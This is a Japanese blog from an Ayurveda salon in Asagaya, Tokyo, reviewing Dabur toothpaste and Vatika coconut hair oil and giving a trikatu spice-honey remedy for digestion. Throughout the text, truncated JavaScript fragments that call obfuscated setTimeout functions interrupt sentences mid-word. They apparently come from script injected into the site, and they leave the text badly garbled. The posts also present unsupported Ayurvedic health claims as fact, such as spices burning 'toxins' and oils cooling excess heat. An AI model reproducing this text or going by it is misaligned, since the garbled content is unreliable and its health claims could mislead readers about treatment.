この「RED」と言う歯磨き粉andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}パッケージに
アーユルヴェーダっぽさを漂わせています。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

薬草っぽいイラストに
「本物のアーユルヴェーダ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の文字↓
20130512 25s
20130512 09s
裏には「アーユルヴェーダ薬」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}とまで!
それ故に、ハーブを使っているのは当然のこと、
ガーリックパウダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}なんてのも入ってるようでしたwww
それは、アーユルヴェーダだandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

で、中はどうかと言うと…
20130908 56s
おおおさすがのインド色
パンチあるな~~
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

これは、漢方的な味なのかな?と思いながら使ってみると、
思いのほかスースーとした清涼感があり、
味も至って違和感ない「歯磨き粉」でした。
あら残念。(どうして)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ちょっと辛いぐらいでしたが、引くのが早かったですね。
実は、こないだまでスリランカのお土産でいただいた
歯磨き粉を使っていたのです。
20130908 40s
こちらは、ターメリックのような濃い黄色で
清涼感は強くなく、さっぱりしてかなり良かったです。
Daburのは、これに比べるとかなりのスースー感です。
一応、DaburのHPを見てみたら
「レッドには、13のアーユルヴェーダの成分が入っている」
そうですよ~このスースーはなんなのだろう?
Dabur Reds
とにかく、こないだ久しぶりに歯医者に行ったら
歯周病を指摘されてしまったので、
これでしっかり磨いてみたいと思います
アーユルヴェーダサロンmanas 《マナス》

アーユルヴェーダの秘薬

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
先月から今月にかけて、長期をお休みをいただき、
ご迷惑をおかけしております。
その間、ちょっと出かけているのですが
決してお楽しみ旅行と言うわけではありません。(笑)
基本的に旅は好きなのですが、やはり旅先では
いつものようなアーユルヴェーダの日課ができなかったり
寝る時間や食事の時間も乱れがちandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
になってしまいます。
さらに、自分の旅行ではないので、
疲れやストレスをためてしまう可能性andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}も・・・
そんなことになっては、
旅先でやらねばならないことも上手くいかなくなる[emoji:e-2] やはり、体調は万全であることが全ての基本なのです。
と言うわけで、いつも通りに出来ない日でも
なるべく体の調子を保つために
何かアーユルヴェーダ的な対策を
[emoji:e-2]と考えたのがこちらです。
20130624.jpg
「トリカトゥ」のはちみつ和え(笑)andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
【トリカトゥとは】
アーユルヴェーダのスパイスミックスで
とても強力な消化促進剤です。
アーマ(毒素)と言われる「未消化物」は
消化力(アグニ)が不順になることで出来てしまうので、
このアグニを活性化することが毒素を作らない、
そして燃やすために必要なのです。
このトリカトゥは、アグニを元気にしてくれる秘薬。
消化力が落ちそうな生活パターンが予想される旅先で
摂取すれば、助けになること間違いなし[emoji:e-2] と言うわけ。
【トリカトゥ作り方】
黒こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
長こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
しょうがパウダーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
を同量ずつ混ぜるだけ
でも、長こしょうandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ってあまり聞かない名前ですよね?
こんな感じをしています。
20130710.jpg
あまり見ないと思いますが、
実は沖縄では「島こしょう」とか「ヒバーチ」とか呼ばれ、
別名「ピッパリ」などとも言うもの。
沖縄の食材店などに売っています。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


阿佐ヶ谷のパールセンター商店街にある
「沖縄倉庫」さんでも売っていたそうです。
(お客様情報)
【使い方は】
小さじ半分ぐらいの量を牛乳や豆乳に混ぜて飲んだり、
はちみつとぬるい白湯に入れて飲んだりするのが簡単。
そこで、ワタクシは
トリカトゥをはちみつに混ぜて旅に持参。
お湯が手に入れば飲むことも出来るし、
はちみつと混ざってるので、そのまま舐めることも可能。

これを、朝と夜だけでもとっておけば
少しは予防になるはずです。
実際、初日は食べ過ぎ、便秘になりそうな気配があった中、
2日目の夜には便通もあり、胃もたれもなくスッキリ。
なんとか3日間をやり過ごせた気がします。
ちなみに、消化促進のもっとも定番な方法は、
生のしょうがをスライスしたものに、
岩塩ひとつまみとレモン汁を少しかけたものを
ご飯の10~20分前に食べておくこと。

でも、旅で生物は持ち歩けないので
今回、初めてトリカトゥ持ち歩きパターンを考案、
試してみた所存です。
そして、あまったトリカトゥ+はちみつは、家で舐めてます。
実は今、疲れと睡眠不足が重なって
体調下がり気味感たっぷりの状態・・・
7月いっぱいはがんばらないと。
皆さんも、忙しいときや食欲がないとき、
これから暑くなってアグニが乱れやすい時期でもあるので
ぜひ、トリカトゥをお試しください[emoji:e-343] アーユルヴェーダサロンmanas 《マナス》

インドのVatikaヘアオイルレポ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
さて、前回前々回と、インドのココナッツオイルを使った
Vatikaヘアオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}を紹介してきましたが、
いよいよ融解したオイルを使ってみました[emoji:e-2] 20130515 133612s
見た目は、ほぼ透明で、若干薄い黄色がかってる感じ。
香りは、ココナッツの南国チックな甘い匂いの中に
レモンの酸味も感じる、お菓子みたいな感じ。

20130610s.jpg
ごま油を使ったメディカルオイルより、サラサラしています。
実は、もう2回ほど、
夜のうちにこれでヘッドマッサージして寝て、
朝、ヘナするのを試しているのですが、実はかなりいいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
[emoji:e-2][emoji:e-2] (たいして期待してなかった分余計にwww)
やはり、冷性のココナッツオイル
私のピッタ高め体質に合っているのか、
いつものオイルでヘッドマッサージした時より軽く、
ヘナの後の頭皮の調子も、いつも以上[emoji:e-2][emoji:e-2][emoji:e-2] 正直、かなり気にってますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
[emoji:e-415]

もし、夏場に頭がのぼせやすかったりしたら
このココナッツヘアオイルは(見つけたら)
一度試してもいいかも知れませんよ。

いやー、これはまた買っとこうかなあ・・・
うん、いいわ~~夏場はこれだな~~
アーユルヴェーダサロンmanas 《マナス》

続・謎のアーユルヴェーダオイル第2弾

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
前回、ご紹介した
「Vatikaココナッツヘアオイル」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の続編です。
20130515 133612s
このCMを見ると、日本で言えばドラッグストアとかで売っている
一般的なヘアケア用品のようですねandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}


そして「Vatikaココナッツヘアオイル」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}使い方を調べてみると・・・
Daburと言うメーカーのHPandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}にたどり着きました。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

Dabur Vatika Enriched Coconut Hair Oil
そこに書かれている効能は・・・

・髪と頭皮に栄養を与える
・普通のココナッツオイルより良い
・髪が強くなる
・髪が太くなりボリュームがアップ
・髪に輝きが出る
・フケをコントロールandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

などなど。
また、おすすめの使い方はやはり
寝る前に優しくヘッドマッサージして一晩おき、朝、洗うというもの。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

または、マッサージ後にスチームタオルを巻いて30分ぐらいおくのも
髪がつやつやになると、おすすめのよう。
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

じゃあ、使ってみますかandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
と、ふたを開けてみたら、な、な、なんと
ココナッツオイル、まだ少し凝固してました・・・andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
実は、ココナッツオイルは20~24度が融点で
それ以下の温度になると固まってしまうのです。
アーユルヴェーダでは、基本的には
自然の状態でココナッツオイルが液体になっている時期のみ
使用するのが良いと言われています。

つまり、あまり気温が高くない時期に冷性のココナッツオイルを使うと
むしろ体を冷やし過ぎる可能性があるためですね。
とは言え、前回書いたようにもともと熱性が高くなりがちなど
使用しても大丈夫な方もいるので、実際は人それぞれ。
自分の体質を知れば、自然と対応も決まってくるのが
アーユルヴェーダなんですね~
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

そろそろ、融解してきているので使ってみます。
使用感などは、改めてご報告します~
あと、実はこのVatikaヘアオイルを買った時、
期間限定でおまけがついていたandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}のです。

20130512 081823s
隣の赤い箱は、オイルと同じDaburandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と言うメーカーの
歯磨き粉「RED」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
これもアーユルヴェーダ的なことが書いてあるので
これまた試してみます~(笑)
アーユルヴェーダサロンmanas 《マナス》

謎のアーユルヴェーダオイル第2弾

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
こないだ、良く行くインド食材&雑貨店で見つけた
「ナブラトラオイル」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
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記事を読んでくれた友人から「欲しい」と連絡を受け、
またまた例の店に立ち寄ってみました。(かなり常連)
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
なんと、前にオイルが置いてあった場所にはありません。
あれれ??と、インド人客でにぎわう店内を探し周ると
目の前の棚から、ナブラトラオイルを取ったおじさんが自分のカゴへ
それが最後の一個でした・・・うぎゃー

で、あきらめて、なんか面白いものないかなーとウロウロしてたら
また気になるオイルを見つけちゃいました。じゃーん
謎のアーユルヴェーダオイル第2弾andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
20130515 133612s
Vatikaと言うヘアオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
ココナッツオイルをベースに、
レモン、ヘナ、アムラと他6種類のハーブが入ってるよう。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

一応、アーユルヴェーダメディスンと書いてありますが
ネットで見てみると、ドラッグストアなどで売っている
一般的な化粧品扱いの商品みたいですね~
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でもインドでは、こうやって普通のスーパーや雑貨店においてある
石鹸やシャンプーなどの日用品にも「Ayurveda」がいっぱい。
アーユルヴェーダのハーブを使ってる製品がほとんどだったなあ。
そして一方で、アーユルヴェーダファーマシーと言う
本物の医療用オイルなどを扱ってる薬局があるんですね~

で、気になるのは、前回のナブラトラオイルと違い、
ベースオイルがココナッツオイルとちゃんと書いてあること。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

実は、これからの季節、
ココナッツオイルはおすすめ
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
なのです。

【解説】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
アーユルヴェーダでよく使われるごま油は温性andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ココナッツオイルは冷性andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}です。
そして、これからの暑くなる季節は体に熱がたまりやすくなり
中でも頭は熱性(ピッタ)がたまりやすいとされます。

しかし、アーユルヴェーダでは頭部を温めるのは厳禁andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
つまり、体を冷やしてくれる冷性を持つココナッツオイルで
ヘッドマッサージすれば頭部の熱が取れ、
熱性のバランスが取れると言うわけ。
また体質的に熱性(ピッタ)が上がりやすいという方も
冷性を与えてバランスを取るのが◎。例えば・・・

・湿疹や吹き出物ができやすい
・体温が高い、熱がこもってる気がする
・やたらとお腹が減る
・下痢しやすい
・白髪や抜け毛が多いandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

と言うような症状がいくつかある方にもおすすめです。

さらに言えば、Vakitaヘアオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}に入っている
レモンもヘナもアムラも冷性andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
まさにこれは、冷性てんこもりオイルandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と言えましょう。(笑)
おっと長くなったので、使用法などは、
また次回に~
アーユルヴェーダサロンmanas 《マナス》

自分でできる浄化法「ナスヤ」

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
